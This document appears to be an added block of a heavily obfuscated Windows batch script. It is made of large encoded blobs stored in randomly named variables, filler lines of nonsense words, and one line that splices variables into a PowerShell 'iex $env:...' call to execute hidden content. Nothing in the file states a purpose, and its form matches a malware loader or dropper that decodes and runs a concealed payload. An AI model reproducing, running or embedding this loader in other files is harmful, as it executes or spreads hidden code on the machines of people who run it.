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
+SET SeLNlxJi=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
+:%HeGvDIze%:  krayina oypyklw vzmourna prebkalta kofao sedadef pefrye orbitdo ojmoz stouplt
+%EPG4rr15%:%GhVFavVL%:  skica lomyl nhemde vqna lafzha hlhbydn mafrisa docleva mrhkenep tupea
+
+sEt Ravpss=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
+SET "OsJQhAK=$gEB%RW2qftyh%O%BbkCAv%J=808383826; iex $en%kAszCBrv%v:t%iHNMDE%j%xNo7ig6%vcn%XeGEPtPa%G%my8nnfla%K"
+SET rNQFeP=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